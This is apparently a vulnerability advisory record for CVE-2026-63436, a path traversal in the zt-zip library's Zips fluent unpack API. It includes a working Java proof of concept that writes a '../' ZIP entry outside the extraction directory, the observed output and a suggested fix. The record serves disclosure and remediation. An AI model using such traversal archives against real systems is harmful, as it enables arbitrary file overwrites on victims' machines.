{"id":"CVE-2026-63436","aliases":["GHSA-52c6-99qm-3hqr"],"url":"https://o3.security/vulnerability/CVE-2026-63436","summary":"zt-zip: Path traversal in fluent API unpack","details":"### Summary\n\n`ZipUtil.unpack(...)` rejects ZIP entries that escape the target output directory, but the `Zips` fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.\n\nA ZIP entry such as:\n\n```text\n../escape/poc.txt\n```\n\nis written outside the configured destination directory when processed with:\n\n```java\nZips.get(zip).unpack().destination(outputDir).process();\n```\n\nThe transformer branch is affected as well.\n\n### Tested Version\n\ncommit: 067935dca375500d3ff025aafcdf0e4283931b1a\n\n### Root Cause\n\nIn `src/main/java/org/zeroturnaround/zip/Zips.java`, `Zips.UnpackingCallback.process(...)` builds the output file directly from the ZIP entry name:\n\n```java\nString entryName = zipEntry.getName();\nFile file = new File(destination, entryName);\n```\n\nThe method then creates directories/files and copies content to that path:\n\n```java\nFileUtils.forceMkdir(file.getParentFile());\nfile.createNewFile();\nFileUtils.copy(in, file);\n```\n\nWhen a transformer is configured, the same `file` is passed to `transformIntoFile(...)`.\n\nThere does not appear to be a canonical path check before these filesystem writes, so `../` entries can resolve outside `destination`.\n\n### Minimal Reproduction\n\n```java\nimport java.io.*;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.*;\nimport java.util.zip.*;\n\nimport org.zeroturnaround.zip.ZipUtil;\nimport org.zeroturnaround.zip.Zips;\nimport org.zeroturnaround.zip.transform.ZipEntryTransformer;\n\npublic class ZipsTraversalPoc {\n  public static void main(String[] args) throws Exception {\n    Path work = Files.createTempDirectory(\"ztzip-zips-poc\");\n    Path zip = work.resolve(\"poc.zip\");\n    Path escaped = work.resolve(\"escape\").resolve(\"poc.txt\");\n    String entryName = \"../escape/poc.txt\";\n\n    Files.createDirectories(escaped.getParent());\n\n    try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {\n      zos.putNextEntry(new ZipEntry(entryName));\n      zos.write(\"plain branch\\n\".getBytes(StandardCharsets.UTF_8));\n      zos.closeEntry();\n    }\n\n    Path zipUtilOut = work.resolve(\"ziputil-out\");\n    Files.createDirectories(zipUtilOut);\n    try {\n      ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());\n      System.out.println(\"ZIPUTIL_REJECTED=false\");\n    }\n    catch (Throwable t) {\n      System.out.println(\"ZIPUTIL_REJECTED=\" + t.getClass().getName());\n    }\n    System.out.println(\"ZIPUTIL_ESCAPED_EXISTS=\" + Files.exists(escaped));\n\n    Files.deleteIfExists(escaped);\n\n    Path zipsOut = work.resolve(\"zips-out\");\n    Files.createDirectories(zipsOut);\n    Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();\n    System.out.println(\"ZIPS_PLAIN_ESCAPED_EXISTS=\" + Files.exists(escaped));\n    System.out.println(\"ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=\" + !escaped.normalize().startsWith(zipsOut.normalize()));\n\n    Files.deleteIfExists(escaped);\n\n    Path zipsTransformOut = work.resolve(\"zips-transform-out\");\n    Files.createDirectories(zipsTransformOut);\n    Zips.get(zip.toFile())\n        .unpack()\n        .destination(zipsTransformOut.toFile())\n        .addTransformer(entryName, new ZipEntryTransformer() {\n          public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {\n            out.putNextEntry(new ZipEntry(entry.getName()));\n            out.write(\"transform branch\\n\".getBytes(StandardCharsets.UTF_8));\n            out.closeEntry();\n          }\n        })\n        .process();\n    System.out.println(\"ZIPS_TRANSFORM_ESCAPED_EXISTS=\" + Files.exists(escaped));\n    System.out.println(\"ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=\" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));\n  }\n}\n```\n\nObserved output:\n\n```text\nZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException\nZIPUTIL_ESCAPED_EXISTS=false\nZIPS_PLAIN_ESCAPED_EXISTS=true\nZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true\nZIPS_TRANSFORM_ESCAPED_EXISTS=true\nZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true\n```\n\n### Expected Behavior\n\n`Zips.get(zip).unpack().destination(outputDir).process()` should reject traversal entries or otherwise ensure that the resolved output path remains inside `outputDir`.\n\n### Impact\n\nApplications that unpack attacker-controlled ZIP files through the `Zips` fluent API may allow arbitrary file writes outside the intended extraction directory, depending on filesystem permissions and application layout.\n\n### Suggested Fix\n\nApply the same destination-boundary validation used by `ZipUtil.unpack(...)` before any filesystem write in `Zips.UnpackingCallback.process(...)`.\n\nFor example, compare canonical `Path` values before creating directories or files:\n\n```java\nfile.getCanonicalFile().toPath()\n    .startsWith(destination.getCanonicalFile().toPath())\n```\n\nRegression tests should cover both:\n\n```java\nZips.get(zip).unpack().destination(out).process();\nZips.get(zip).unpack().destination(out).addTransformer(...).process();","published":"2026-11-03T18:02:27.180Z","modified":"2026-11-10T02:32:34.579637931Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Maven","name":"org.zeroturnaround:zt-zip","fixedVersion":"1.18.0"}],"fix":{"url":"https://github.com/zeroturnaround/zt-zip/commit/59a76ad576b0fcd50ea018e3608afb946c1492fd","label":"zeroturnaround/zt-zip@59a76ad"},"references":[{"type":"WEB","url":"https://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63436.json"},{"type":"ADVISORY","url":"https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-52c6-99qm-3hqr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63436"},{"type":"FIX","url":"https://github.com/zeroturnaround/zt-zip/commit/59a76ad576b0fcd50ea018e3608afb946c1492fd"},{"type":"FIX","url":"https://github.com/zeroturnaround/zt-zip/pull/180"},{"type":"PACKAGE","url":"https://github.com/zeroturnaround/zt-zip"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-10T02:32:34.579637931Z"}}